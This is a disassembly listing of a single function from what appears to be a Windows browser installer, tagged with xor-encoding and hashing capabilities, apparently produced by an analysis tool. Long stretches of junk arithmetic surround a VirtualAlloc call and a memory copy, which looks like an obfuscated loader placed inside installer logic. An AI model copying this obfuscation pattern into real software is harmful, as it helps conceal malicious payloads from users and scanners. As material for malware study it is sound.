Function at 0x412e30
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x340
mov eax, dword [0x540010]
xor eax, ebp
mov dword [esp + 0x338], eax
lea eax, [esp + 0x60]
mov dword [eax], 0
push eax
call fcn.0049c9f0
add esp, 4
mov esi, eax
lea ecx, [esp + 0x5c]
mov dword [ecx], 0xffffffff
shl ecx, 0x19
or edx, edx
test dword [0x54232b], 0xe3fb9ac
jns 0x412e80
ror esi, 1
not ebx
or edx, ecx
xor ecx, 0x25cd5ce2
rol edi, 0xf
mov esi, 0x145a029a
shr ebx, 9
and dword [0x553fc3], esi
ror edi, 0x1a
test edi, 0x5a0c02dc
je 0x412ea7
inc edi
cmp edx, 0x9f435f43
jns 0x412eb1
add edx, ebx
rol ecx, 0xf
ror esi, 0x1f
mov edx, 0x1c44bbf2
xor edx, 0x5329f24a
dec edi
xchg edx, esi
mov ecx, dword [0x542e95]
mov edi, 0x790f36bf
sub dword [0x553f69], 0xc6b7860f
mov ecx, 0x59b012bc
test dword [0x5412f7], 0x8e060556
jle 0x412ef1
and dword [0x553fd5], edx
mov ebx, esi
xchg edi, eax
add edx, esi
and eax, ecx
add edi, dword [0x542850]
xchg esi, edx
and edi, dword [0x543817]
dec ecx
jne 0x412edf
test ebp, 0xf4a28624
jl 0x412f15
mov esi, eax
and edx, eax
sub esi, dword [0x5436d2]
rol eax, 0x1e
or ecx, esp
xor edi, 0x4f27e5a5
not ebx
xor dword [0x553fe5], ebx
mov ebx, 0xb4abbb16
add edx, 0x616d930b
add ecx, edi
and ecx, 0x2b099043
xor ebx, ebx
shl edi, 2
inc ebx
xor edi, 0x1bbd0f61
sub ebx, esp
cmp edi, 0x7396c4c7
ja 0x412f5f
sub eax, 0x1035ba7a
and ecx, edx
mov eax, 0x93ee99a4
mov ecx, 0x7e202f4d
neg eax
and edx, 0xe4b8a42d
xchg edx, esi
sub edx, 0x142dc586
and dword [0x553fb9], 0x59daedae
and dword [0x553fdf], esi
inc esi
or dword [0x553f85], 0xb93126ed
or edi, dword [0x5417a0]
shr edi, 0x16
mov dword [0x553f81], 0x43d8b728
call fcn.004e0f8a
xor dword [0x553fef], 0xd20d3fac
dec ecx
jne 0x412f6b
ror eax, 0x16
not eax
shl ebx, 0xc
or ebx, ebp
mov ecx, 0x67db895c
dec esi
add esi, 0x6de22a01
shl esi, 7
xor edi, 0x496c203c
or ebx, eax
add dword [0x553fa4], 0xf26fe24e
neg esi
ror edi, 0x17
sub edx, ebp
rol edi, 0x1b
call fcn.004dfb9c
sub edi, esi
dec ecx
jne 0x412fcb
sub edi, esi
cmp dword [0x5422cb], 0xa115533d
jnp 0x41300c
test edx, eax
jle 0x413010
not edi
or eax, 0xa3a019f1
and esi, ecx
call fcn.00442273
test dword [0x542099], edx
jl 0x413027
not eax
or ebx, 0x22c3db54
mov ebx, dword [0x542785]
ror eax, 0xe
xor eax, ecx
cmp dword [0x54313c], 0x5193b087
je 0x41304a
xchg dword [eax + 0x6745193], esi
xor edi, dword [0x540efd]
sub edx, 0x392d3bb7
xor eax, 0x65085649
sub edx, 0xa690a4ba
mov edi, 0x14b7138f
neg edx
xchg edx, esi
sub edi, 0x4d57386d
dec ecx
xor ebx, esi
not ecx
rol ecx, 0x13
or dword [0x553faf], edx
sub eax, ebx
call fcn.0042b3a9
xor edx, eax
neg esi
sub dword [0x553fd0], esi
inc esi
sub ecx, 0x82528956
sub dword [0x553fc4], ecx
add esi, eax
xchg ebx, eax
xchg ebx, eax
sub esi, eax
sub dword [0x553fa6], ecx
add ecx, 0x82528956
dec esi
and dword [0x553f91], ecx
neg esi
xor edx, eax
add eax, ebx
xor dword [0x553fbc], eax
ror ecx, 0x13
not ecx
xor ebx, esi
inc ecx
add edi, 0x4d57386d
xchg edx, esi
neg edx
and edi, 0x44f8bddb
xor eax, 0x2d706c66
xchg edi, esi
call fcn.004e3a46
rol eax, 0x1f
dec esi
not esi
xchg edi, edx
ror ecx, 0xc
call fcn.004d88b2
rol edi, 0xc
add ecx, esp
ror ecx, 0x16
inc ebx
add esi, 0xa96d9ff9
call fcn.004ae370
call fcn.0042307c
sub esi, 0xa96d9ff9
dec ebx
rol ecx, 0x16
sub ecx, esp
ror edi, 0xc
rol ecx, 0xc
xchg edi, edx
not esi
inc esi
ror eax, 0x1f
xchg edi, esi
xor eax, 0x2d706c66
add edi, 0xfb4feeb5
sub edx, 0x2d955bda
add ebx, 0x75e8ef16
sub eax, 0xf65ffd13
or dword [0x553fb0], eax
ror edx, 0xd
xor ebx, esp
ror edx, 0x11
neg esi
xor dword [0x553f84], ecx
sub ebx, 0x104ddc0a
add edx, ebx
xchg ebx, edx
dec edx
neg edx
rol ecx, 8
xchg ecx, esi
add dword [0x553f83], eax
dec ecx
neg edi
or dword [0x553fa9], edx
rol ecx, 1
call fcn.00408595
ror ecx, 1
or dword [0x553fc5], ecx
neg edi
inc ecx
sub dword [0x553fc6], ebx
xchg ecx, esi
ror ecx, 8
neg edx
inc edx
xchg ebx, edx
sub edx, ebx
add ebx, 0x104ddc0a
neg esi
rol edx, 0x11
xor ebx, esp
rol edx, 0xd
add eax, 0xf65ffd13
sub ebx, 0x75e8ef16
add edx, 0x2d955bda
push edi
ror ebx, 0x1e
xor eax, 0x3bf0dc6e
sub eax, 0x725be1b1
sub dword [0x553fcd], esi
not edx
inc ebx
add ebx, 0x875e0c6d
call fcn.00476439
add eax, ecx
inc ecx
rol edi, 0x1b
dec esi
ror esi, 2
dec ecx
xchg esi, edx
not ecx
dec edx
call fcn.0048b998
xor eax, 0xb459a7d8
call fcn.004b225f
xor eax, 0xb459a7d8
call fcn.004a0749
inc edx
not ecx
xchg esi, edx
inc ecx
rol esi, 2
inc esi
ror edi, 0x1b
dec ecx
sub eax, ecx
sub ebx, 0x875e0c6d
dec ebx
not edx
sub dword [0x553fa0], edi
add eax, 0x725be1b1
xor eax, 0x3bf0dc6e
rol ebx, 0x1e
mov esi, 0xe8fdff29
sub eax, 0xe2a1614c
not edi
mov dword [0x553f9f], ebx
ror edi, 0x1b
dec edi
add esi, edx
xor eax, 0xbad57dba
rol edx, 0x12
neg ecx
or dword [0x553f96], esi
xor dword [0x553f9b], 0xd5dc30af
neg ecx
ror edx, 0x12
xor eax, 0xbad57dba
sub esi, edx
inc edi
rol edi, 0x1b
sub dword [0x553fde], esi
not edi
add eax, 0xe2a1614c
and esi, 0xdce2892d
xchg ecx, edx
not esi
add eax, edx
xchg eax, esi
rol ecx, 0x12
sub dword [0x553fb2], edi
not esi
inc ebx
call fcn.004bb048
xor edx, ecx
rol edi, 0x1e
add dword [0x553fae], ebx
call fcn.004ba7fb
sub edx, 0x5897127
call fcn.0049c5b2
call fcn.004cc0c6
add edx, 0x5897127
or dword [0x553fdf], ecx
ror edi, 0x1e
xor edx, ecx
call fcn.004a1de3
dec ebx
not esi
ror ecx, 0x12
xchg eax, esi
sub eax, edx
not esi
xchg ecx, edx
xor esi, 0xc8e0b929
add ecx, esp
sub dword [0x553f6c], eax
neg edi
add eax, edi
xor dword [0x553f76], edx
xor eax, edx
ror edx, 0x13
xor ebx, ecx
xor edi, 0xc683d835
neg esi
call fcn.0040caef
add edx, edi
ror edi, 0x14
not eax
ror esi, 0x1c
sub dword [0x553f76], edx
not esi
xor edi, 0xa084e2c0
ror ecx, 6
inc ebx
call fcn.0043d149
call fcn.00437e82
call fcn.004c7af9
call fcn.00404562
dec ebx
rol ecx, 6
xor edi, 0xa084e2c0
not esi
rol esi, 0x1c
not eax
rol edi, 0x14
sub edx, edi
call fcn.00458021
neg esi
xor edi, 0xc683d835
xor ebx, ecx
rol edx, 0x13
xor eax, edx
sub eax, edi
neg edi
add dword [0x553fe5], ecx
sub ecx, esp
push esi
sub edx, 0x4f6cd7
rol ecx, 0x16
xor dword [0x553f79], ebx
not esi
add dword [0x553fa1], edi
ror esi, 0xb
dec esi
add ebx, 0xde442527
call fcn.004846d8
inc esi
ror ebx, 3
xor eax, edi
not edi
mov dword [0x553fe2], ecx
ror esi, 0x1f
call fcn.0046f4f9
sub edx, 0xdb664055
inc edi
call fcn.00419a8e
call fcn.004bde44
dec edi
add edx, 0xdb664055
call fcn.0049e8f7
rol esi, 0x1f
not edi
xor eax, edi
rol ebx, 3
dec esi
call fcn.004a8c51
sub ebx, 0xde442527
inc esi
rol esi, 0xb
or dword [0x553f74], eax
not esi
and dword [0x553f6b], eax
ror ecx, 0x16
add edx, 0x4f6cd7
push 0x23c9c
sub edi, 0xa41779aa
or dword [0x553fb7], ecx
not edx
call fcn.0049ee1f
sub ebx, 0x622b7588
ror ecx, 0x1f
add esi, esp
not ecx
xchg edx, eax
dec ecx
call fcn.0040df69
ror esi, 6
and dword [0x553f9a], eax
xor dword [0x553f6f], ebx
rol ecx, 0xd
xor dword [0x553fbc], eax
ror ecx, 0xd
mov dword [0x553fe8], ebx
sub dword [0x553f79], esi
rol esi, 6
inc ecx
xchg edx, eax
not ecx
sub esi, esp
rol ecx, 0x1f
add ebx, 0x622b7588
call fcn.0044fc7d
not edx
xor dword [0x553f89], eax
add edi, 0xa41779aa
mov ecx, 0x16171f24
xor edx, 0x4083ccf1
neg ecx
ror esi, 0x14
neg esi
rol esi, 0x12
call fcn.00422a91
ror esi, 0x1b
dec eax
sub edi, 0x261a7fab
add edx, ebp
call fcn.00484f2a
mov dword [0x553f8e], ebx
call fcn.004df9be
ror edx, 0x1f
neg eax
xor esi, edx
call fcn.00422a91
call fcn.004e1506
xor esi, edx
neg eax
rol edx, 0x1f
xor dword [0x553f95], eax
sub edx, ebp
add edi, 0x261a7fab
inc eax
rol esi, 0x1b
call fcn.004bd98f
ror esi, 0x12
neg esi
rol esi, 0x14
neg ecx
xor edx, 0x4083ccf1
xor ecx, 0xbb707d96
xchg eax, edx
sub edi, ebp
xchg ecx, edx
not edi
and dword [0x553f89], ebx
add dword [0x553fec], ecx
and dword [0x553fd9], esi
call fcn.00498c77
xor edi, 0xb52b2283
neg esi
not esi
not esi
neg esi
xor edi, 0xb52b2283
call fcn.004dd053
and dword [0x553f7c], ebx
not edi
xchg ecx, edx
add edi, ebp
xchg eax, edx
sub ecx, 0xad6762b2
xchg edi, esi
not ebx
dec eax
xchg ebx, eax
sub ebx, eax
call fcn.00419c14
dec edx
ror edi, 0xe
sub ecx, esi
inc esi
xchg ebx, esi
add dword [0x553fd8], edi
add ebx, 0xfb7378fe
not esi
xor edx, 0xadd19693
dec eax
ror ebx, 9
neg ecx
call fcn.00423b44
neg ecx
rol ebx, 9
inc eax
xor edx, 0xadd19693
not esi
sub ebx, 0xfb7378fe
or dword [0x553f8b], esi
xchg ebx, esi
dec esi
add ecx, esi
rol edi, 0xe
inc edx
call fcn.00453591
add ebx, eax
xchg ebx, eax
inc eax
not ebx
xchg edi, esi
push ecx
not esi
or dword [0x553f81], 0xbeecd3dd
add edx, 0x6e8071f8
xchg ecx, esi
dec edi
ror edx, 0x16
mov dword [0x553fc1], eax
xor ecx, edi
sub dword [0x553fb8], 0x58abbdde
dec edx
add ebx, esp
ror esi, 0x13
call fcn.00495426
call fcn.004bd98f
rol esi, 0x13
sub ebx, esp
inc edx
mov dword [0x553fc6], 0x42f87d47
xor ecx, edi
or dword [0x553f8e], eax
rol edx, 0x16
inc edi
xchg ecx, esi
sub edx, 0x6e8071f8
or dword [0x553fac], 0xda7761fe
not esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
rol edi, 0x18
add ecx, edi
xor dword [0x553f92], 0xa700947d
sub ebx, edi
and dword [0x553fc5], ebx
rol eax, 3
and dword [0x553fc8], edx
not edx
xchg edi, eax
call fcn.00461d7e
xchg eax, edx
call fcn.004644e3
inc esi
add dword [0x553f77], esi
inc eax
inc edx
dec edx
ror esi, 0xd
inc eax
xor esi, esp
inc esi
call fcn.004c0ec1
call fcn.004df278
dec esi
xor esi, esp
dec eax
rol esi, 0xd
inc edx
dec edx
dec eax
xor dword [0x553f8e], esi
dec esi
xchg eax, edx
call fcn.0041e4b9
xchg edi, eax
not edx
or dword [0x553fc5], edx
ror eax, 3
add ebx, edi
and dword [0x553fa1], 0xb3f2dbcc
sub ecx, edi
ror edi, 0x18
lea esi, [0x56bfb3]
add ebx, 0x92be6dbf
call fcn.004d7a1c
xor esi, eax
sub ebx, 0x208a460f
dec esi
xor dword [0x553fb1], edi
xor eax, esi
not edi
add dword [0x553f7b], edi
xchg ecx, esi
sub ecx, 0x6de9d508
inc esi
rol ecx, 0x14
xor dword [0x553f7f], eax
not eax
dec edi
ror eax, 0xf
sub eax, 0x3fcb7a72
add eax, 0x3fcb7a72
rol eax, 0xf
inc edi
not eax
xor dword [0x553f74], ecx
ror ecx, 0x14
dec esi
add ecx, 0x6de9d508
xchg ecx, esi
mov dword [0x553f79], edx
not edi
xor eax, esi
inc esi
add ebx, 0x208a460f
xor esi, eax
call fcn.004a7fee
sub ebx, 0x92be6dbf
xor esi, 0xc600
ror edi, 0x1e
sub edx, 0x8ed52dd6
dec ecx
not esi
sub ecx, 0x126a1c86
dec ecx
not ebx
xor edi, 0x4144d910
and dword [0x553f8c], eax
inc edi
or dword [0x553fee], eax
inc ebx
inc ecx
call fcn.0040bd6a
sub edi, esp
call fcn.004dac6a
ror ecx, 0xe
call fcn.0048edf1
call fcn.004b8d0d
rol ecx, 0xe
add edi, esp
dec ecx
dec ebx
and dword [0x553fb7], ebx
dec edi
xor edi, 0x4144d910
not ebx
inc ecx
add ecx, 0x126a1c86
not esi
inc ecx
add edx, 0x8ed52dd6
rol edi, 0x1e
add esi, 0x4c4d
dec ecx
neg ecx
dec ebx
call fcn.004d0cc8
xor edx, ebx
rol eax, 0x14
add dword [0x553f93], ecx
or dword [0x553f81], 0xaf77879a
not eax
ror esi, 6
sub ebx, 0x3fdbaba7
rol esi, 0x16
call fcn.004c10f6
xor ecx, esp
inc ebx
rol edx, 4
xor dword [0x553f83], ebx
xor ebx, 0xe3ca9192
ror esi, 0x14
neg ebx
call fcn.004b78e7
call fcn.00498c77
call fcn.00402e36
neg ebx
rol esi, 0x14
xor ebx, 0xe3ca9192
add dword [0x553f81], ebx
ror edx, 4
dec ebx
xor ecx, esp
call fcn.00449199
ror esi, 0x16
add ebx, 0x3fdbaba7
rol esi, 6
not eax
ror eax, 0x14
xor edx, ebx
call fcn.004c6ff7
inc ebx
neg ecx
inc ecx
mov edi, eax
xchg esi, edx
sub ebx, ecx
xor eax, 0x742ea2e9
sub edx, 0x86912356
rol edx, 0x10
or dword [0x553fed], ebx
call fcn.004269fb
mov dword [0x553fbc], ecx
xchg esi, eax
dec ebx
call fcn.004edcb7
ror eax, 0x16
call fcn.0046a249
ror esi, 0x14
neg edi
add ecx, 0x99a4ecc7
sub ebx, esp
add ebx, esp
sub ecx, 0x99a4ecc7
neg edi
rol esi, 0x14
rol eax, 0x16
call fcn.0042fec8
inc ebx
xchg esi, eax
call fcn.00414b59
xor dword [0x553f88], edx
ror edx, 0x10
add edx, 0x86912356
xor eax, 0x742ea2e9
add ebx, ecx
xchg esi, edx
mov ecx, 0x23c9c
xor ecx, 0xec26820e
add edx, 0x96bb8a72
call fcn.00452359
sub edi, 0xba837d0c
rol ecx, 8
xor ebx, 0xb912ad0
xchg edx, eax
call fcn.00423823
ror eax, 8
call fcn.0049ba52
ror ecx, 0x17
xor dword [0x553f75], 0xf3c2b65e
xor ebx, 0x6f7eaae7
xchg edi, esi
add ecx, 0x3a5b9b60
call fcn.004bfe79
call fcn.0044ae80
sub ecx, 0x3a5b9b60
xchg edi, esi
xor ebx, 0x6f7eaae7
mov dword [0x553fc3], 0xa4117bff
rol ecx, 0x17
call fcn.0047d958
rol eax, 8
call fcn.004aeb99
xchg edx, eax
xor ebx, 0xb912ad0
ror ecx, 8
add edi, 0xba837d0c
sub edx, 0x96bb8a72
xor ecx, 0xec26820e
rep movsb byte es:[edi], byte [esi]
rol edi, 0xf
xchg ecx, eax
ror ecx, 0xc
dec ebx
add ecx, 0xbee69964
sub edx, 0x1439331
dec eax
and dword [0x553fe2], eax
not edx
xor esi, 0xf90bb540
call fcn.004447a2
xor edx, ebx
call fcn.0046a438
call fcn.004c2eb3
xor edx, ebx
xor esi, 0xf90bb540
not edx
mov dword [0x553fb9], ecx
inc eax
add edx, 0x1439331
sub ecx, 0xbee69964
inc ebx
rol ecx, 0xc
xchg ecx, eax
ror edi, 0xf
call fcn.00477882
neg edx
call fcn.0048ae31
rol ebx, 3
inc edi
or dword [0x553feb], edx
mov dword [0x553fb0], eax
xor ebx, 0x1940f077
sub eax, edx
add dword [0x553f91], ebx
xor ecx, 0xd96c07cf
call fcn.0043d379
and dword [0x553fd0], ebx
call fcn.0040384d
or dword [0x553fe0], edi
call fcn.00432619
xor ecx, 0xd96c07cf
add eax, edx
xor ebx, 0x1940f077
and dword [0x553fec], ebx
mov dword [0x553f69], edi
dec edi
ror ebx, 3
neg edx
add byte [ecx + 0xaf883c3], cl
jbe 0x413a44
mov edi, ebx
or edi, 7
inc edi
push edi
call fcn.004dfb05
add esp, 4
mov dword [esp + 0x10], eax
or edi, 0x80000000
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
jmp 0x413a4b
lea eax, [esp + 0x10]
mov byte [eax + 0xb], bl
lea edi, [eax + ebx]
cmp eax, str.make_browser_default_after_import
ja 0x413a61
cmp edi, str.make_browser_default_after_import
ja 0x4146cf
test ebx, ebx
je 0x413a74
push ebx
push str.make_browser_default_after_import
push eax
call fcn.004e3510
add esp, 0xc
mov byte [edi], 0
lea edi, [esp + 0x10]
mov ecx, esi
push edi
call fcn.0049eb20
movzx eax, al
lea ecx, [esp + 0xa0]
push eax
call fcn.00427f20
cmp byte [edi + 0xb], 0
jns 0x413aa5
push dword [esp + 0x10]
call fcn.004dfb35
add esp, 4
push str.send_statistics
call fcn.004fb1c0
add esp, 4
cmp eax, 0x7ffffff8
jae 0x4146ea
mov ebx, eax
cmp eax, 0xa
jbe 0x413ae7
mov edi, ebx
or edi, 7
inc edi
push edi
call fcn.004dfb05
add esp, 4
mov dword [esp + 0x10], eax
or edi, 0x80000000
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
jmp 0x413aee
lea eax, [esp + 0x10]
mov byte [eax + 0xb], bl
lea edi, [eax + ebx]
cmp eax, str.send_statistics
ja 0x413b04
cmp edi, str.send_statistics
ja 0x4146cf
test ebx, ebx
je 0x413b17
push ebx
push str.send_statistics
push eax
call fcn.004e3510
add esp, 0xc
mov byte [edi], 0
mov ecx, esi
lea eax, [esp + 0x10]
push eax
call fcn.0049eb20
mov ecx, eax
mov al, 1
test cl, cl
jne 0x413b3a
lea ecx, [esp + 0x1e8]
call fcn.00419a80
mov byte [esp + 0x111], al
cmp byte [esp + 0x1b], 0
jns 0x413b54
push dword [esp + 0x10]
call fcn.004dfb35
add esp, 4
push str.disableyapin
call fcn.004fb1c0
add esp, 4
cmp eax, 0x7ffffff8
jae 0x4146ea
mov ebx, eax
cmp eax, 0xa
jbe 0x413b96
mov edi, ebx
or edi, 7
inc edi
push edi
call fcn.004dfb05
add esp, 4
mov dword [esp + 0x10], eax
or edi, 0x80000000
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
jmp 0x413b9e
mov byte [esp + 0x1b], bl
lea eax, [esp + 0x10]
lea edi, [eax + ebx]
cmp eax, str.disableyapin
ja 0x413bb4
cmp edi, str.disableyapin
ja 0x4146cf
test ebx, ebx
je 0x413bc7
push ebx
push str.disableyapin
push eax
call fcn.004e3510
add esp, 0xc
mov byte [edi], 0
mov ecx, esi
lea eax, [esp + 0x10]
push eax
call fcn.0049eb20
xor al, 1
mov byte [esp + 0x112], al
cmp byte [esp + 0x1b], 0
jns 0x413bf2
push dword [esp + 0x10]
call fcn.004dfb35
add esp, 4
lea edi, [esp + 0xa0]
mov ecx, edi
call fcn.00420570
mov ebx, dword [edi + 0xbc]
mov ecx, edi
call fcn.004201d0
lea ecx, [esp + 0xa0]
push 0x13e
push str.wWinMain
push 0
call fcn.00455190
lea ecx, [esp + 0xdc]
push 0x521353
push str.Installer_exit_with_code:
call fcn.004147c0
lea esi, [esp + 0x10]
mov edi, ebx
push ebx
push esi
call fcn.004dcbd0
add esp, 8
movzx eax, byte [esi + 0xb]
test al, al
jns 0x413c5b
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
lea ecx, [esp + 0xdc]
push eax
push esi
call fcn.00478310
cmp byte [esp + 0x1b], 0
jns 0x413c7c
push dword [esp + 0x10]
call fcn.004dfb35
add esp, 4
lea ecx, [esp + 0xa0]
call fcn.004553c0
mov esi, edi
cmp byte [esp + 0x83], 0
jns 0x413ca0
push dword [esp + 0x78]
call fcn.004dfb35
add esp, 4
lea ecx, [esp + 0x1e8]
call fcn.004173a0
lea ecx, [esp + 0x20]
call fcn.0041cdc0
cmp byte [esp + 0x337], 0
jns 0x413cce
push dword [esp + 0x32c]
call fcn.004dfb35
add esp, 4
cmp byte [esp + 0x9f], 0
jns 0x413dc5
push dword [esp + 0x94]
call fcn.004dfb35
add esp, 4
jmp 0x413dc5
lea ecx, [esp + 0x6c]
call fcn.004391a0
lea ecx, [esp + 0x40]
call fcn.0043ed50
jmp 0x41303e
push str....._third_partylibc_srcinclude__stringchar_traits.h:245:_assertion__std::__is_pointer_in_range___s1____s1____n____s2__failed:_char_traits::copy:_source_and_destination_ranges_overlap_n
push 0x521354
call fcn.0044d640
lea ecx, [esp + 0x1e8]
call fcn.004147a0
lea ecx, [esp + 0x10]
call fcn.004147a0
int3